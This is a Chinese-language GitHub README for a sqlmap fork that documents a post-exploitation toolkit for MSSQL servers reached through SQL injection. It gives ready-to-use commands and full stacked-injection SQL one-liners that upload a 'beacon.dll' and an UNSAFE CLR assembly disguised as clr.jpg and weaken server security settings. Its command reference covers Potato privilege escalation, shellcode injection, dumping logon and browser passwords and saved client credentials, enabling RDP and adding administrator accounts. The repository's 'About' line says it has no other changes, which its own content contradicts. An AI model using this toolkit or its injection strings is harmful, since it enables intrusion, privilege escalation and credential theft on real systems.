Skip to content

M85081aureenGresham/sqlmap

 
 

Repository files navigation

sqlmap

.github/workflows/tests.yml Python 2.7|3.x License x

sqlmap 是一款开源的 SQL 注入检测与利用工具,可自动完成数据库指纹识别、数据读取、文件系统访问以及数据库接管。

当前分支额外补充了 MSSQL 场景下的 OLE Automation 上传、CLR 程序集部署、CLR 结果集获取与命令执行能力,适合在支持堆叠注入的目标上直接完成 DLL 上传、程序集注册、命令执行与结果回显。

截图

截图

更多演示截图可查看 wiki:

安装

推荐直接克隆当前仓库:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev

sqlmap 可直接运行在 Python 2.7 和 Python 3.x 环境。

查看帮助:

python sqlmap.py -h
python sqlmap.py -hh

基础用法

URL 方式:

python sqlmap.py -u "http://target/vuln.php?id=1" -p id --batch --dbms=MSSQL

原始请求方式:

python sqlmap.py -r request.txt --batch --dbms=MSSQL

常见信息获取:

python sqlmap.py -r request.txt --batch --dbms=MSSQL --current-user --current-db --hostname

MSSQL OLE 上传

当前分支在 MSSQL 写文件流程里优先尝试 OLE Automation 的 ADODB.Stream 方式,不依赖 xp_cmdshell。如果 OLE 失败,才会继续回退到 PowerShell、VBS、debug.execertutil.exe 等旧方案。

OLE 上传特点

  • 适用于支持堆叠注入的 MSSQL 目标。
  • --file-write 时会优先走 OLE 上传。
  • GET / URI 注入点会自动探测可接受的请求长度,再决定 OLE 分块大小。
  • POST / CUSTOM_POST 注入点默认使用 32768 个 hex 字符一块,也就是 16384 字节一块。
  • 终端模式下会每 5 秒刷新一次进度,并在每个分块完成后立即刷新;进度会尽量保持在同一行显示。

OLE 上传示例

python sqlmap.py -r request.txt \
  --batch \
  --dbms=MSSQL \
  --file-write="/tmp/beacon.dll" \
  --file-dest="C:\\Windows\\Temp\\beacon.dll"

运行时会看到类似日志:

[INFO] OLE 上传计划:分块大小 32768 个 hex 字符,23 次上传请求,0 次探测请求,合计约 24 次请求
OLE 上传进度: 7/23 块完成,当前 8/23,114688/369152 bytes (31.1%),耗时 15s

MSSQL CLR 安装、执行与清理

当前分支内置了 plugins/dbms/mssqlserver/ClrBadPotatoLoader.dll,并提供 3 个直接可用的参数:

  • --clr-install
  • --clr-exec
  • --clr-cleanup

--clr-install 实际会做什么

执行 --clr-install 时,sqlmap 会按下面的顺序自动处理:

  1. 开启 show advanced options
  2. 开启 clr enabled
  3. 把当前数据库设为 TRUSTWORTHY ON
  4. 开启 ole automation procedures
  5. 尝试关闭 clr strict security
  6. 通过 OLE 把本地 ClrBadPotatoLoader.dll 上传到远端 C:\Users\Public\clr.jpg
  7. 清理旧的 [dbo].[ClrxnExec][dbo].[ClrxnQuery][ClrBadPotatoLoader]
  8. 从远端文件路径创建程序集
  9. 注册 [dbo].[ClrxnExec][dbo].[ClrxnQuery]

安装示例:

python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-install

--clr-exec 现在的行为

--clr-exec 内部默认走 ClrxnQuery,不再按旧逻辑强行从 ClrxnExec 消息流里取结果。当前会自动兼容这几类返回:

  • 普通文本结果集:(LineNumber, OutputLine)
  • CLR_ListDir 原生结果集:(Name, Type, Size, LastWriteTime)
  • CLR_ReadFile 原生结果集:(HexData)

如果 CLR_ListDirCLR_ReadFile 走到了异常/参数错误分支,sqlmap 会自动回退到文本结果集布局再取一次。

常用示例:

python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-exec="help"
python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-exec="CLR_GodPotato whoami"
python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-exec="CLR_ListDir C:\Windows\Temp"
python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-exec="CLR_ReadFile C:\Temp\payload.bin"

--clr-cleanup 实际会做什么

执行 --clr-cleanup 时,sqlmap 会:

  1. 删除 [dbo].[ClrxnExec]
  2. 删除 [dbo].[ClrxnQuery]
  3. 删除程序集 [ClrBadPotatoLoader]
  4. 通过 OLE 删除远端 C:\Users\Public\clr.jpg

清理示例:

python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-cleanup

ClrBadPotatoLoader 命令参考

在 sqlmap 里统一使用:

python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-exec="<命令>"

帮助与基本测试

help
CLR_GodPotato whoami
CLR_BadPotato whoami
CLR_EfsPotato whoami

提权执行

  • CLR_BadPotato <cmd>
  • CLR_EfsPotato <cmd>
  • CLR_GodPotato <cmd>

示例:

CLR_GodPotato whoami
CLR_EfsPotato cmd /c whoami /all

Shellcode

  • CLR_Inject <Base|Bad|God|Efs> <base64sc> <xorkey>
  • CLR_InjectFile <Base|Bad|God|Efs> <filepath>

示例:

CLR_Inject Efs <base64sc> <xorkey>
CLR_InjectFile God C:\Temp\payload.bin

凭据、系统与横向辅助

  • CLR_LogonPasswords <Bad|God|Efs>
  • CLR_EnableRDP <Bad|God|Efs>
  • CLR_AddUser <Bad|God|Efs> <user> <pass> <group>
  • CLR_ToDesk <Bad|God|Efs>
  • CLR_GhostKey <Bad|God|Efs> <finalshell|navicat|crt|xshell|moba> [path]
  • CLR_Web <Bad|God|Efs> <all|chromium|firefox|ie> <all|pwd|cookie>
  • CLR_GetAV

示例:

CLR_LogonPasswords Efs
CLR_EnableRDP God
CLR_AddUser Efs testuser P@ssw0rd Administrators
CLR_ToDesk God
CLR_GhostKey God navicat
CLR_GhostKey God xshell C:\Users\Administrator\Documents\NetSarang Computer\7\Xshell\Sessions
CLR_GhostKey God moba master=YourMasterPass
CLR_Web God chromium pwd
CLR_GetAV

说明:

  • CLR_LogonPasswordsCLR_EnableRDPCLR_ToDeskCLR_Web 省略 mode 时默认走 Bad
  • CLR_AddUserCLR_GhostKeyCLR_InjectCLR_InjectFile 需要显式写 mode
  • moba 支持 master=<pass><path>|<pass> 两种附加参数格式

文件管理

  • CLR_ListDir <path>
  • CLR_ReadFile <path>
  • CLR_WriteFile <path^hex>
  • CLR_NewDir <path>
  • CLR_Delete <path>

示例:

CLR_ListDir C:\Windows\Temp
CLR_ReadFile C:\Temp\payload.bin
CLR_WriteFile C:\Temp\test.txt^68656c6c6f20776f726c64
CLR_NewDir C:\Temp\demo
CLR_Delete C:\Temp\demo\test.txt

返回说明:

  • 大多数命令通过 ClrxnQuery 返回两列文本结果集:(LineNumber, OutputLine)
  • CLR_ListDir 成功时返回:(Name, Type, Size, LastWriteTime)
  • CLR_ReadFile 成功时返回:(HexData)
  • ClrxnExec 仍然保留给消息流输出;如果你在 SSMS / Navicat 手工执行,也可以直接 EXEC dbo.ClrxnExec N'help'

一句话命令

如果直接用 sqlmap,本身就已经是一句话:

python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-install
python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-cleanup

手工 SQL 安装一句话

前提:ClrBadPotatoLoader.dll 已通过 OLE 上传到 C:\Users\Public\clr.jpg

id=1';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'clr enabled',1;RECONFIGURE;IF DB_NAME()!='master' BEGIN DECLARE @db NVARCHAR(258)=QUOTENAME(DB_NAME());EXEC('ALTER DATABASE '+@db+' SET TRUSTWORTHY ON'); END;EXEC sp_configure 'ole automation procedures',1;RECONFIGURE;EXEC sp_configure 'clr strict security',0;RECONFIGURE;IF EXISTS (SELECT * FROM sys.procedures WHERE name='ClrxnExec') DROP PROCEDURE [dbo].[ClrxnExec];IF EXISTS (SELECT * FROM sys.procedures WHERE name='ClrxnQuery') DROP PROCEDURE [dbo].[ClrxnQuery];IF EXISTS (SELECT * FROM sys.assemblies WHERE name='ClrBadPotatoLoader') DROP ASSEMBLY [ClrBadPotatoLoader];EXEC(N'CREATE ASSEMBLY [ClrBadPotatoLoader] FROM ''C:\Users\Public\clr.jpg'' WITH PERMISSION_SET=UNSAFE');EXEC(N'CREATE PROCEDURE [dbo].[ClrxnExec] @command NVARCHAR(MAX) AS EXTERNAL NAME [ClrBadPotatoLoader].[ClrBadPotatoLoader.StoredProcedures].[ClrxnExec]');EXEC(N'CREATE PROCEDURE [dbo].[ClrxnQuery] @command NVARCHAR(MAX) AS EXTERNAL NAME [ClrBadPotatoLoader].[ClrBadPotatoLoader.StoredProcedures].[ClrxnQuery]');--

手工 SQL 清理一句话

id=1';IF EXISTS (SELECT * FROM sys.procedures WHERE name='ClrxnExec') DROP PROCEDURE [dbo].[ClrxnExec];IF EXISTS (SELECT * FROM sys.procedures WHERE name='ClrxnQuery') DROP PROCEDURE [dbo].[ClrxnQuery];IF EXISTS (SELECT * FROM sys.assemblies WHERE name='ClrBadPotatoLoader') DROP ASSEMBLY [ClrBadPotatoLoader];BEGIN TRY DECLARE @fso INT,@exists INT;EXEC sp_OACreate 'Scripting.FileSystemObject',@fso OUT;IF @fso IS NOT NULL BEGIN EXEC sp_OAMethod @fso,'FileExists',@exists OUT,'C:\Users\Public\clr.jpg';IF @exists=1 EXEC sp_OAMethod @fso,'DeleteFile',NULL,'C:\Users\Public\clr.jpg',1;EXEC sp_OADestroy @fso;END END TRY BEGIN CATCH END CATCH--

相关链接

About

sqlmap中文版-无其他改动

Resources

License

Code of conduct

Contributing

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages

  • Python 98.6%
  • C 0.6%
  • Shell 0.5%
  • TSQL 0.1%
  • Perl 0.1%
  • C++ 0.1%